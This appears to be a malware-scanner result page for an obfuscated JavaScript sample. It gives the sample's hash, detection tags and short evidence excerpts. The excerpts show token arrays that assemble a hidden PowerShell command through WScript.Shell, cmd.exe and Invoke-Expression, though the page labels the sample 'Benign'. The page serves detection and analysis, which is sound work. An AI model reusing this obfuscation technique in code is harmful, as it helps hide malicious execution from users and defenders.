Benign javascript-malware-collection Download

20170228_7b146dc09978b32161ce1fc29f3e020d.js

Token-array PowerShell commandWindows shell command-mode invocation syntax

SHA-25663719843814de32c89988042b0e7fb7bbf9e582d72847922de40d35466168689

Evidence

References the WScript.Shell COM object lines 8–16

8:47… sew='^ss ';$o"];
9};
10var ucjerh = function (erpusfo) {
11	return ["WScript.Shell", Number.NaN];
12};
13var tofvujx = function (argemxa) {
14	return [Number.NaN, "ro+$etnotxa+$ymtaqx+$uxpo", Number.NaN];
15};
16var ngum …

PowerShell Invoke-Expression command text lines 16–22

16:21… ion (jari) {
17	return [Number.NaN, Number.NaN, Number.NaN, "pa'; Invoke-Expression ($"];
18};
19var omowoc = function (yqmudgan) {
20	return [Number.NaN, Number.NaN, Number.NaN, "$ucip='^ew-';$arecz='^ice"];
21};
22var ule …

References Windows cmd.exe interpreter lines 95–102

95:12… function (ogfis) {
96	return [Number.NaN, Number.NaN, Number.NaN, "cmd.exe /c \"powershell  $"];
97};
98var etxexiwv = function (dubu) {
⋯4 lines